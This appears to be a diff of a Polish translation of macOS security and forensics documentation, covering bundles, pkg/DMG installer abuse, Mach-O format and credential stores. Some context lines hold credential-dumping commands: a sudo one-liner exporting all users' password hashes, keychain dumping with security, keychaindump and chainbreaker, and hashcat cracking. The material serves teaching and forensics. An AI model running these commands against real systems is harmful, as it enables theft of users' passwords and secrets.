## Pliki dziennika
|
||||
|
||||
- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Zawiera informacje o pobranych plikach, takie jak adres URL, z którego zostały pobrane.
|
||||
- **`/var/log/system.log`**: Główny dziennik systemów OSX. com.apple.syslogd.plist jest odpowiedzialny za wykonywanie syslogowania (możesz sprawdzić, czy jest wyłączone, szukając "com.apple.syslogd" w `launchctl list`).
|
||||
- **`/var/log/system.log`**: Główny dziennik systemów OSX. com.apple.syslogd.plist jest odpowiedzialny za wykonywanie syslogowania (możesz sprawdzić, czy jest wyłączony, szukając "com.apple.syslogd" w `launchctl list`).
|
||||
- **`/private/var/log/asl/*.asl`**: To są Dzienniki Systemowe Apple, które mogą zawierać interesujące informacje.
|
||||
- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Przechowuje ostatnio otwierane pliki i aplikacje przez "Finder".
|
||||
- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Przechowuje elementy do uruchomienia po starcie systemu.
|
||||
|
@ -8,7 +8,7 @@ Bundli w macOS służą jako kontenery dla różnych zasobów, w tym aplikacji,
|
||||
|
||||
### Kluczowe komponenty bundla
|
||||
|
||||
W obrębie bundla, szczególnie w katalogu `<application>.app/Contents/`, znajdują się różnorodne ważne zasoby:
|
||||
W obrębie bundla, szczególnie w katalogu `<application>.app/Contents/`, znajduje się wiele ważnych zasobów:
|
||||
|
||||
- **\_CodeSignature**: Ten katalog przechowuje szczegóły dotyczące podpisu kodu, które są niezbędne do weryfikacji integralności aplikacji. Możesz sprawdzić informacje o podpisie kodu, używając poleceń takich jak: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%%
|
||||
- **MacOS**: Zawiera wykonywalny plik binarny aplikacji, który uruchamia się po interakcji użytkownika.
|
||||
@ -31,7 +31,7 @@ To badanie ujawnia katalogi takie jak `_CodeSignature`, `MacOS`, `Resources` ora
|
||||
|
||||
#### Dodatkowe katalogi bundli
|
||||
|
||||
Poza powszechnymi katalogami, bundli mogą również zawierać:
|
||||
Poza typowymi katalogami, bundli mogą również zawierać:
|
||||
|
||||
- **Frameworks**: Zawiera zbundlowane frameworki używane przez aplikację. Frameworki są jak dyliby z dodatkowymi zasobami.
|
||||
- **PlugIns**: Katalog dla wtyczek i rozszerzeń, które zwiększają możliwości aplikacji.
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Pkg Podstawowe Informacje
|
||||
|
||||
Pakiet **instalacyjny macOS** (znany również jako plik `.pkg`) to format pliku używany przez macOS do **dystrybucji oprogramowania**. Te pliki są jak **pudełko, które zawiera wszystko, czego potrzebuje oprogramowanie** do poprawnej instalacji i działania.
|
||||
Pakiet **instalacyjny macOS** (znany również jako plik `.pkg`) to format pliku używany przez macOS do **dystrybucji oprogramowania**. Te pliki są jak **pudełko, które zawiera wszystko, co potrzebne do poprawnej instalacji i uruchomienia oprogramowania**.
|
||||
|
||||
Sam plik pakietu jest archiwum, które zawiera **hierarchię plików i katalogów, które będą instalowane na docelowym** komputerze. Może również zawierać **skrypty** do wykonywania zadań przed i po instalacji, takie jak konfigurowanie plików konfiguracyjnych lub usuwanie starych wersji oprogramowania.
|
||||
|
||||
@ -15,8 +15,8 @@ Sam plik pakietu jest archiwum, które zawiera **hierarchię plików i katalogó
|
||||
- **Distribution (xml)**: Dostosowania (tytuł, tekst powitalny…) oraz kontrole skryptów/instalacji
|
||||
- **PackageInfo (xml)**: Informacje, wymagania instalacyjne, lokalizacja instalacji, ścieżki do skryptów do uruchomienia
|
||||
- **Bill of materials (bom)**: Lista plików do zainstalowania, zaktualizowania lub usunięcia z uprawnieniami do plików
|
||||
- **Payload (CPIO archive gzip compresses)**: Pliki do zainstalowania w `install-location` z PackageInfo
|
||||
- **Scripts (CPIO archive gzip compressed)**: Skrypty przed i po instalacji oraz inne zasoby wyodrębnione do katalogu tymczasowego do wykonania.
|
||||
- **Payload (archiwum CPIO skompresowane gzip)**: Pliki do zainstalowania w `install-location` z PackageInfo
|
||||
- **Scripts (archiwum CPIO skompresowane gzip)**: Skrypty przed i po instalacji oraz inne zasoby wyodrębnione do katalogu tymczasowego do wykonania.
|
||||
|
||||
### Decompress
|
||||
```bash
|
||||
@ -36,7 +36,7 @@ Aby zobaczyć zawartość instalatora bez ręcznego dekompresowania, możesz ró
|
||||
|
||||
## Podstawowe informacje o DMG
|
||||
|
||||
Pliki DMG, czyli obrazy dysków Apple, to format plików używany przez macOS firmy Apple do obrazów dysków. Plik DMG to w zasadzie **montowalny obraz dysku** (zawiera własny system plików), który zawiera surowe dane blokowe, zazwyczaj skompresowane, a czasami szyfrowane. Gdy otwierasz plik DMG, macOS **montuje go tak, jakby był fizycznym dyskiem**, co pozwala na dostęp do jego zawartości.
|
||||
Pliki DMG, czyli obrazy dysków Apple, to format plików używany przez macOS firmy Apple do obrazów dysków. Plik DMG to w zasadzie **montowalny obraz dysku** (zawiera własny system plików), który zawiera surowe dane blokowe, zazwyczaj skompresowane, a czasami zaszyfrowane. Gdy otwierasz plik DMG, macOS **montuje go tak, jakby był fizycznym dyskiem**, co pozwala na dostęp do jego zawartości.
|
||||
|
||||
> [!CAUTION]
|
||||
> Zauważ, że instalatory **`.dmg`** obsługują **tak wiele formatów**, że w przeszłości niektóre z nich zawierające luki były wykorzystywane do uzyskania **wykonania kodu jądra**.
|
||||
@ -71,9 +71,9 @@ For more info check this talk: [https://www.youtube.com/watch?v=lTOItyjTTkw](htt
|
||||
|
||||
### Wykonanie przez montowanie
|
||||
|
||||
Jeśli instalator zapisuje do `/tmp/fixedname/bla/bla`, możliwe jest **utworzenie montażu** nad `/tmp/fixedname` bez właścicieli, aby móc **zmodyfikować dowolny plik podczas instalacji** w celu nadużycia procesu instalacji.
|
||||
Jeśli instalator zapisuje do `/tmp/fixedname/bla/bla`, możliwe jest **utworzenie montażu** nad `/tmp/fixedname` bez właścicieli, aby móc **zmodyfikować dowolny plik podczas instalacji**, aby nadużyć procesu instalacji.
|
||||
|
||||
Przykładem tego jest **CVE-2021-26089**, który zdołał **nadpisać skrypt okresowy**, aby uzyskać wykonanie jako root. Aby uzyskać więcej informacji, zapoznaj się z wykładem: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
Przykładem tego jest **CVE-2021-26089**, które udało się **nadpisać okresowy skrypt**, aby uzyskać wykonanie jako root. Aby uzyskać więcej informacji, zapoznaj się z wykładem: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
|
||||
## pkg jako złośliwe oprogramowanie
|
||||
|
||||
@ -153,7 +153,7 @@ productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pk
|
||||
## Odniesienia
|
||||
|
||||
- [**DEF CON 27 - Rozpakowywanie pakietów: spojrzenie na pakiety instalacyjne macOS i powszechne luki w zabezpieczeniach**](https://www.youtube.com/watch?v=iASSG0_zobQ)
|
||||
- [**OBTS v4.0: "Dzikie Światy instalatorów macOS" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
||||
- [**OBTS v4.0: "Dzikie Światło instalatorów macOS" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
||||
- [**DEF CON 27 - Rozpakowywanie pakietów: spojrzenie na pakiety instalacyjne macOS**](https://www.youtube.com/watch?v=kCXhIYtODBg)
|
||||
- [https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages](https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages)
|
||||
|
||||
|
@ -18,7 +18,7 @@ Warto zauważyć, że w nowoczesnych systemach MacOS ten plik jest zazwyczaj szy
|
||||
|
||||
### Memory Pressure Logs
|
||||
|
||||
Innym ważnym plikiem związanym z pamięcią w systemach MacOS jest **dziennik ciśnienia pamięci**. Dzienniki te znajdują się w `/var/log` i zawierają szczegółowe informacje o użyciu pamięci przez system oraz zdarzeniach ciśnienia. Mogą być szczególnie przydatne do diagnozowania problemów związanych z pamięcią lub zrozumienia, jak system zarządza pamięcią w czasie.
|
||||
Innym ważnym plikiem związanym z pamięcią w systemach MacOS jest **dziennik ciśnienia pamięci**. Te dzienniki znajdują się w `/var/log` i zawierają szczegółowe informacje o użyciu pamięci przez system oraz zdarzeniach ciśnienia. Mogą być szczególnie przydatne do diagnozowania problemów związanych z pamięcią lub zrozumienia, jak system zarządza pamięcią w czasie.
|
||||
|
||||
## Dumping memory with osxpmem
|
||||
|
||||
|
@ -17,7 +17,7 @@ Alternatywna jedna linia, która wyeksportuje dane uwierzytelniające wszystkich
|
||||
```bash
|
||||
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
|
||||
```
|
||||
Innym sposobem na uzyskanie `ShadowHashData` użytkownika jest użycie `dscl`: `` sudo dscl . -read /Users/`whoami` ShadowHashData ``
|
||||
Inny sposób na uzyskanie `ShadowHashData` użytkownika to użycie `dscl`: `` sudo dscl . -read /Users/`whoami` ShadowHashData ``
|
||||
|
||||
### /etc/master.passwd
|
||||
|
||||
@ -25,7 +25,7 @@ Ten plik jest **używany tylko** wtedy, gdy system działa w **trybie pojedyncze
|
||||
|
||||
### Zrzut Keychain
|
||||
|
||||
Należy zauważyć, że podczas używania binarnego pliku security do **zrzutu odszyfrowanych haseł**, kilka monitów poprosi użytkownika o zezwolenie na tę operację.
|
||||
Zauważ, że podczas używania binarnego pliku security do **zrzutu odszyfrowanych haseł**, kilka komunikatów poprosi użytkownika o zezwolenie na tę operację.
|
||||
```bash
|
||||
#security
|
||||
security dump-trust-settings [-s] [-d] #List certificates
|
||||
@ -37,17 +37,17 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
|
||||
### [Keychaindump](https://github.com/juuso/keychaindump)
|
||||
|
||||
> [!OSTRZEŻENIE]
|
||||
> Na podstawie tego komentarza [juuso/keychaindump#10 (komentarz)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) wygląda na to, że te narzędzia już nie działają w Big Sur.
|
||||
> Na podstawie tego komentarza [juuso/keychaindump#10 (komentarz)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) wygląda na to, że te narzędzia nie działają już w Big Sur.
|
||||
|
||||
### Przegląd Keychaindump
|
||||
|
||||
Narzędzie o nazwie **keychaindump** zostało opracowane w celu wydobywania haseł z keychainów macOS, ale napotyka ograniczenia w nowszych wersjach macOS, takich jak Big Sur, co zostało wskazane w [dyskusji](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). Użycie **keychaindump** wymaga, aby atakujący uzyskał dostęp i podniósł uprawnienia do **root**. Narzędzie wykorzystuje fakt, że keychain jest domyślnie odblokowany po zalogowaniu użytkownika dla wygody, co pozwala aplikacjom na dostęp do niego bez konieczności wielokrotnego wprowadzania hasła użytkownika. Jednak jeśli użytkownik zdecyduje się zablokować swój keychain po każdym użyciu, **keychaindump** staje się nieskuteczne.
|
||||
Narzędzie o nazwie **keychaindump** zostało opracowane w celu wydobywania haseł z kluczy macOS, ale napotyka ograniczenia w nowszych wersjach macOS, takich jak Big Sur, co zostało wskazane w [dyskusji](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). Użycie **keychaindump** wymaga, aby atakujący uzyskał dostęp i podniósł uprawnienia do **root**. Narzędzie wykorzystuje fakt, że klucz jest domyślnie odblokowany po zalogowaniu użytkownika dla wygody, co pozwala aplikacjom na dostęp do niego bez konieczności wielokrotnego wprowadzania hasła użytkownika. Jednak jeśli użytkownik zdecyduje się zablokować swój klucz po każdym użyciu, **keychaindump** staje się nieskuteczne.
|
||||
|
||||
**Keychaindump** działa, celując w konkretny proces zwany **securityd**, opisany przez Apple jako demon do autoryzacji i operacji kryptograficznych, kluczowy do uzyskania dostępu do keychainu. Proces wydobywania polega na zidentyfikowaniu **Master Key** pochodzącego z hasła logowania użytkownika. Klucz ten jest niezbędny do odczytu pliku keychain. Aby zlokalizować **Master Key**, **keychaindump** skanuje stos pamięci **securityd** za pomocą polecenia `vmmap`, szukając potencjalnych kluczy w obszarach oznaczonych jako `MALLOC_TINY`. Następujące polecenie jest używane do inspekcji tych lokalizacji pamięci:
|
||||
**Keychaindump** działa, celując w konkretny proces zwany **securityd**, opisany przez Apple jako demon do autoryzacji i operacji kryptograficznych, kluczowy do uzyskania dostępu do klucza. Proces wydobywania polega na zidentyfikowaniu **Master Key** pochodzącego z hasła logowania użytkownika. Klucz ten jest niezbędny do odczytu pliku klucza. Aby zlokalizować **Master Key**, **keychaindump** skanuje stos pamięci **securityd** za pomocą polecenia `vmmap`, szukając potencjalnych kluczy w obszarach oznaczonych jako `MALLOC_TINY`. Następujące polecenie jest używane do sprawdzenia tych lokalizacji pamięci:
|
||||
```bash
|
||||
sudo vmmap <securityd PID> | grep MALLOC_TINY
|
||||
```
|
||||
Po zidentyfikowaniu potencjalnych kluczy głównych, **keychaindump** przeszukuje sterty w poszukiwaniu konkretnego wzoru (`0x0000000000000018`), który wskazuje na kandydata na klucz główny. Dalsze kroki, w tym deobfuskacja, są wymagane do wykorzystania tego klucza, jak opisano w kodzie źródłowym **keychaindump**. Analitycy koncentrujący się na tym obszarze powinni zauważyć, że kluczowe dane do odszyfrowania pęku kluczy są przechowywane w pamięci procesu **securityd**. Przykładowa komenda do uruchomienia **keychaindump** to:
|
||||
Po zidentyfikowaniu potencjalnych kluczy głównych, **keychaindump** przeszukuje sterty w poszukiwaniu konkretnego wzoru (`0x0000000000000018`), który wskazuje na kandydata na klucz główny. Dalsze kroki, w tym deobfuskacja, są wymagane do wykorzystania tego klucza, jak opisano w kodzie źródłowym **keychaindump**. Analitycy koncentrujący się na tym obszarze powinni zauważyć, że kluczowe dane do odszyfrowania pęku kluczy są przechowywane w pamięci procesu **securityd**. Przykładowe polecenie do uruchomienia **keychaindump** to:
|
||||
```bash
|
||||
sudo ./keychaindump
|
||||
```
|
||||
@ -90,7 +90,7 @@ hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
|
||||
# Use the key to decrypt the passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **Zrzut kluczy z pęku kluczy (z hasłami) za pomocą zrzutu pamięci**
|
||||
#### **Zrzut kluczy z pęku (z hasłami) za pomocą zrzutu pamięci**
|
||||
|
||||
[Postępuj zgodnie z tymi krokami](../#dumping-memory-with-osxpmem), aby wykonać **zrzut pamięci**
|
||||
```bash
|
||||
@ -129,14 +129,14 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
|
||||
|
||||
Możesz znaleźć dane Powiadomień w `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`
|
||||
|
||||
Większość interesujących informacji będzie w **blob**. Musisz więc **wyodrębnić** tę zawartość i **przekształcić** ją na **czytelną** **ludzką** lub użyć **`strings`**. Aby uzyskać do niej dostęp, możesz to zrobić:
|
||||
Większość interesujących informacji będzie w **blob**. Więc będziesz musiał **wyodrębnić** tę zawartość i **przekształcić** ją na **czytelną** **dla ludzi** lub użyć **`strings`**. Aby uzyskać do niej dostęp, możesz to zrobić:
|
||||
```bash
|
||||
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
|
||||
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
|
||||
```
|
||||
### Notatki
|
||||
|
||||
Użytkownicy **notatki** można znaleźć w `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`
|
||||
Użytkownicy **notatki** mogą być znalezione w `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`
|
||||
```bash
|
||||
sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables
|
||||
|
||||
@ -213,7 +213,7 @@ common: com.apple.security.octagon.joined-with-bottle
|
||||
```
|
||||
### Distributed Notification Center
|
||||
|
||||
**Distributed Notification Center**, którego główny plik binarny to **`/usr/sbin/distnoted`**, jest kolejnym sposobem na wysyłanie powiadomień. Udostępnia niektóre usługi XPC i wykonuje pewne kontrole, aby spróbować zweryfikować klientów.
|
||||
**Distributed Notification Center**, którego głównym plikiem binarnym jest **`/usr/sbin/distnoted`**, to inny sposób na wysyłanie powiadomień. Udostępnia niektóre usługi XPC i wykonuje pewne kontrole, aby spróbować zweryfikować klientów.
|
||||
|
||||
### Apple Push Notifications (APN)
|
||||
|
||||
|
@ -35,7 +35,7 @@ uint32_t align; /* wyrównanie jako potęga 2 */
|
||||
};
|
||||
</code></pre>
|
||||
|
||||
Nagłówek zawiera **magiczne** bajty, a następnie **liczbę** **architektur**, które plik **zawiera** (`nfat_arch`), a każda architektura będzie miała strukturę `fat_arch`.
|
||||
Nagłówek zawiera **magiczne** bajty, po których następuje **liczba** **architektur**, które plik **zawiera** (`nfat_arch`), a każda architektura będzie miała strukturę `fat_arch`.
|
||||
|
||||
Sprawdź to za pomocą:
|
||||
|
||||
@ -68,9 +68,9 @@ lub używając narzędzia [Mach-O View](https://sourceforge.net/projects/machovi
|
||||
|
||||
<figure><img src="../../../images/image (1094).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jak możesz myśleć, zazwyczaj universal binary skompilowany dla 2 architektur **podwaja rozmiar** jednego skompilowanego tylko dla 1 architektury.
|
||||
Jak możesz myśleć, zazwyczaj **universal binary** skompilowane dla 2 architektur **podwaja rozmiar** jednego skompilowanego tylko dla 1 architektury.
|
||||
|
||||
## **Mach-O Header**
|
||||
## **Nagłówek Mach-O**
|
||||
|
||||
Nagłówek zawiera podstawowe informacje o pliku, takie jak magiczne bajty identyfikujące go jako plik Mach-O oraz informacje o docelowej architekturze. Możesz go znaleźć w: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
```c
|
||||
@ -110,7 +110,7 @@ Istnieją różne typy plików, które można znaleźć zdefiniowane w [**kodzie
|
||||
- `MH_PRELOAD`: Wstępnie załadowany plik wykonywalny (już nieobsługiwany w XNU)
|
||||
- `MH_DYLIB`: Biblioteki dynamiczne
|
||||
- `MH_DYLINKER`: Ładowarka dynamiczna
|
||||
- `MH_BUNDLE`: "Pliki wtyczek". Generowane za pomocą -bundle w gcc i ładowane explicite przez `NSBundle` lub `dlopen`.
|
||||
- `MH_BUNDLE`: "Pliki wtyczek". Generowane za pomocą -bundle w gcc i ładowane przez `NSBundle` lub `dlopen`.
|
||||
- `MH_DYSM`: Towarzyszący plik `.dSym` (plik z symbolami do debugowania).
|
||||
- `MH_KEXT_BUNDLE`: Rozszerzenia jądra.
|
||||
```bash
|
||||
@ -138,7 +138,7 @@ Kod źródłowy definiuje również kilka flag przydatnych do ładowania bibliot
|
||||
- `MH_NO_REEXPORTED_DYLIBS`: Biblioteka nie ma poleceń LC_REEXPORT
|
||||
- `MH_PIE`: Wykonywalny niezależny od pozycji
|
||||
- `MH_HAS_TLV_DESCRIPTORS`: Istnieje sekcja z lokalnymi zmiennymi wątku
|
||||
- `MH_NO_HEAP_EXECUTION`: Brak wykonania dla stron heap/data
|
||||
- `MH_NO_HEAP_EXECUTION`: Brak wykonania dla stron sterty/danych
|
||||
- `MH_HAS_OBJC`: Plik binarny ma sekcje oBject-C
|
||||
- `MH_SIM_SUPPORT`: Wsparcie dla symulatora
|
||||
- `MH_DYLIB_IN_CACHE`: Używane w dylibach/frameworkach w pamięci podręcznej biblioteki współdzielonej.
|
||||
@ -154,14 +154,14 @@ uint32_t cmd; /* type of load command */
|
||||
uint32_t cmdsize; /* total size of command in bytes */
|
||||
};
|
||||
```
|
||||
Istnieje około **50 różnych typów poleceń ładujących**, które system obsługuje w różny sposób. Najczęstsze z nich to: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` i `LC_CODE_SIGNATURE`.
|
||||
Istnieje około **50 różnych typów poleceń ładujących**, które system obsługuje w różny sposób. Najczęściej spotykane to: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` i `LC_CODE_SIGNATURE`.
|
||||
|
||||
### **LC_SEGMENT/LC_SEGMENT_64**
|
||||
|
||||
> [!TIP]
|
||||
> Zasadniczo ten typ polecenia ładującego definiuje **jak załadować \_\_TEXT** (kod wykonywalny) **i \_\_DATA** (dane dla procesu) **segmenty** zgodnie z **offsetami wskazanymi w sekcji danych** podczas wykonywania binarnego.
|
||||
|
||||
Te polecenia **definiują segmenty**, które są **mapowane** do **przestrzeni pamięci wirtualnej** procesu podczas jego wykonywania.
|
||||
Te polecenia **definiują segmenty**, które są **mapowane** do **przestrzeni pamięci wirtualnej** procesu, gdy jest on wykonywany.
|
||||
|
||||
Istnieją **różne typy** segmentów, takie jak segment **\_\_TEXT**, który zawiera kod wykonywalny programu, oraz segment **\_\_DATA**, który zawiera dane używane przez proces. Te **segmenty znajdują się w sekcji danych** pliku Mach-O.
|
||||
|
||||
@ -225,13 +225,13 @@ Common segments loaded by this cmd:
|
||||
- `__text`: Skonstruowany kod binarny
|
||||
- `__const`: Dane stałe (tylko do odczytu)
|
||||
- `__[c/u/os_log]string`: Stałe ciągi C, Unicode lub os logów
|
||||
- `__stubs` i `__stubs_helper`: Uczestniczą w procesie ładowania dynamicznej biblioteki
|
||||
- `__stubs` i `__stubs_helper`: Uczestniczą w procesie ładowania biblioteki dynamicznej
|
||||
- `__unwind_info`: Dane o rozwijaniu stosu.
|
||||
- Zauważ, że cała ta zawartość jest podpisana, ale również oznaczona jako wykonywalna (tworząc więcej opcji do wykorzystania sekcji, które niekoniecznie potrzebują tego przywileju, jak sekcje dedykowane ciągom).
|
||||
- Zauważ, że cała ta zawartość jest podpisana, ale również oznaczona jako wykonywalna (tworząc więcej opcji dla eksploatacji sekcji, które niekoniecznie potrzebują tego przywileju, jak sekcje dedykowane ciągom).
|
||||
- **`__DATA`**: Zawiera dane, które są **czytelne** i **zapisywalne** (brak wykonywalnych)**.**
|
||||
- `__got:` Tabela Global Offset
|
||||
- `__nl_symbol_ptr`: Wskaźnik symbolu non lazy (wiąż w czasie ładowania)
|
||||
- `__la_symbol_ptr`: Wskaźnik symbolu lazy (wiąż przy użyciu)
|
||||
- `__nl_symbol_ptr`: Wskaźnik symbolu non lazy (wiąże przy ładowaniu)
|
||||
- `__la_symbol_ptr`: Wskaźnik symbolu lazy (wiąże przy użyciu)
|
||||
- `__const`: Powinny być danymi tylko do odczytu (nie do końca)
|
||||
- `__cfstring`: Ciągi CoreFoundation
|
||||
- `__data`: Zmienne globalne (które zostały zainicjowane)
|
||||
@ -243,7 +243,7 @@ Common segments loaded by this cmd:
|
||||
- Funkcje startowe: Tabela adresów startowych funkcji
|
||||
- Dane w kodzie: Wyspy danych w \_\_text
|
||||
- Tabela symboli: Symbole w binarnym
|
||||
- Tabela symboli pośrednich: Wskaźniki/stuby symboli
|
||||
- Tabela symboli pośrednich: Wskaźniki/stub symbole
|
||||
- Tabela ciągów
|
||||
- Podpis kodu
|
||||
- **`__OBJC`**: Zawiera informacje używane przez środowisko wykonawcze Objective-C. Chociaż te informacje mogą być również znalezione w segmencie \_\_DATA, w różnych sekcjach \_\_objc\_\*.
|
||||
@ -258,7 +258,7 @@ Jak można było zobaczyć w kodzie, **segmenty również wspierają flagi** (ch
|
||||
|
||||
### **`LC_UNIXTHREAD/LC_MAIN`**
|
||||
|
||||
**`LC_MAIN`** zawiera punkt wejścia w **atrybucie entryoff.** W czasie ładowania, **dyld** po prostu **dodaje** tę wartość do (w pamięci) **bazy binarnej**, a następnie **skacze** do tej instrukcji, aby rozpocząć wykonanie kodu binarnego.
|
||||
**`LC_MAIN`** zawiera punkt wejścia w atrybucie **entryoff.** W czasie ładowania, **dyld** po prostu **dodaje** tę wartość do (w pamięci) **bazy binarnej**, a następnie **skacze** do tej instrukcji, aby rozpocząć wykonanie kodu binarnego.
|
||||
|
||||
**`LC_UNIXTHREAD`** zawiera wartości, jakie rejestry muszą mieć przy uruchamianiu głównego wątku. To już zostało wycofane, ale **`dyld`** nadal to wykorzystuje. Można zobaczyć wartości rejestrów ustawione przez to za pomocą:
|
||||
```bash
|
||||
@ -345,12 +345,12 @@ Niektóre potencjalne biblioteki związane z złośliwym oprogramowaniem to:
|
||||
- **CoreWLAN**: Skanowanie Wifi.
|
||||
|
||||
> [!NOTE]
|
||||
> Plik binarny Mach-O może zawierać jeden lub **więcej** **konstruktorów**, które będą **wykonywane** **przed** adresem określonym w **LC_MAIN**.\
|
||||
> Plik binarny Mach-O może zawierać jednego lub **więcej** **konstruktorów**, które będą **wykonywane** **przed** adresem określonym w **LC_MAIN**.\
|
||||
> Offsety wszelkich konstruktorów są przechowywane w sekcji **\_\_mod_init_func** segmentu **\_\_DATA_CONST**.
|
||||
|
||||
## **Dane Mach-O**
|
||||
|
||||
W rdzeniu pliku znajduje się obszar danych, który składa się z kilku segmentów, jak zdefiniowano w obszarze poleceń ładujących. **W każdym segmencie może być przechowywanych wiele sekcji danych**, z każdą sekcją **zawierającą kod lub dane** specyficzne dla danego typu.
|
||||
W rdzeniu pliku znajduje się obszar danych, który składa się z kilku segmentów zdefiniowanych w obszarze poleceń ładujących. **W każdym segmencie może być przechowywanych wiele sekcji danych**, z których każda **zawiera kod lub dane** specyficzne dla danego typu.
|
||||
|
||||
> [!TIP]
|
||||
> Dane to zasadniczo część zawierająca wszystkie **informacje**, które są ładowane przez polecenia ładujące **LC_SEGMENTS_64**
|
||||
@ -371,7 +371,7 @@ Lub z poziomu cli:
|
||||
```bash
|
||||
size -m /bin/ls
|
||||
```
|
||||
## Sekcje wspólne Objective-C
|
||||
## Sekcje wspólne w Objetive-C
|
||||
|
||||
W segmencie `__TEXT` (r-x):
|
||||
|
||||
@ -381,10 +381,10 @@ W segmencie `__TEXT` (r-x):
|
||||
|
||||
W segmencie `__DATA` (rw-):
|
||||
|
||||
- `__objc_classlist`: Wskaźniki do wszystkich klas Objective-C
|
||||
- `__objc_nlclslist`: Wskaźniki do klas Objective-C bez leniwego ładowania
|
||||
- `__objc_classlist`: Wskaźniki do wszystkich klas Objetive-C
|
||||
- `__objc_nlclslist`: Wskaźniki do klas Non-Lazy Objective-C
|
||||
- `__objc_catlist`: Wskaźnik do Kategorii
|
||||
- `__objc_nlcatlist`: Wskaźnik do Kategorii bez leniwego ładowania
|
||||
- `__objc_nlcatlist`: Wskaźnik do Kategorii Non-Lazy
|
||||
- `__objc_protolist`: Lista protokołów
|
||||
- `__objc_const`: Dane stałe
|
||||
- `__objc_imageinfo`, `__objc_selrefs`, `objc__protorefs`...
|
||||
|
@ -23,7 +23,7 @@ Następnie wprowadzono **`posix_spawn`**, łącząc **`vfork`** i **`execve`** w
|
||||
|
||||
Ponadto `posix_spawn` pozwala określić tablicę **`posix_spawnattr`**, która kontroluje niektóre aspekty uruchamianego procesu, oraz **`posix_spawn_file_actions`**, aby zmodyfikować stan deskryptorów.
|
||||
|
||||
Gdy proces umiera, wysyła **kod zwrotu do procesu macierzystego** (jeśli proces macierzysty umarł, nowym rodzicem jest PID 1) z sygnałem `SIGCHLD`. Proces macierzysty musi uzyskać tę wartość, wywołując `wait4()` lub `waitid()`, a do tego czasu proces potomny pozostaje w stanie zombie, gdzie nadal jest wymieniany, ale nie zużywa zasobów.
|
||||
Gdy proces umiera, wysyła **kod zwrotu do procesu macierzystego** (jeśli proces macierzysty umarł, nowym procesem macierzystym jest PID 1) z sygnałem `SIGCHLD`. Proces macierzysty musi uzyskać tę wartość, wywołując `wait4()` lub `waitid()`, a do tego czasu proces potomny pozostaje w stanie zombie, gdzie nadal jest wymieniany, ale nie zużywa zasobów.
|
||||
|
||||
### PIDs
|
||||
|
||||
@ -39,10 +39,10 @@ Koalicja to inny sposób grupowania procesów w Darwin. Proces dołączający do
|
||||
### Uprawnienia i personae
|
||||
|
||||
Każdy proces posiada **uprawnienia**, które **identyfikują jego przywileje** w systemie. Każdy proces będzie miał jeden główny `uid` i jeden główny `gid` (chociaż może należeć do kilku grup).\
|
||||
Możliwe jest również zmienienie identyfikatora użytkownika i grupy, jeśli binarny plik ma bit `setuid/setgid`.\
|
||||
Istnieje kilka funkcji do **ustawiania nowych uids/gids**.
|
||||
Możliwe jest również zmienienie identyfikatora użytkownika i grupy, jeśli binarka ma bit `setuid/setgid`.\
|
||||
Istnieje kilka funkcji do **ustawiania nowych uid/gid**.
|
||||
|
||||
Wywołanie systemowe **`persona`** zapewnia **alternatywny** zestaw **uprawnień**. Przyjęcie persony zakłada jej `uid`, `gid` i przynależności do grupy **jednocześnie**. W [**kodzie źródłowym**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) można znaleźć strukturę:
|
||||
Wywołanie systemowe **`persona`** zapewnia **alternatywny** zestaw **uprawnień**. Przyjęcie persony zakłada jej uid, gid i przynależności do grup **jednocześnie**. W [**kodzie źródłowym**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) można znaleźć strukturę:
|
||||
```c
|
||||
struct kpersona_info { uint32_t persona_info_version;
|
||||
uid_t persona_id; /* overlaps with UID */
|
||||
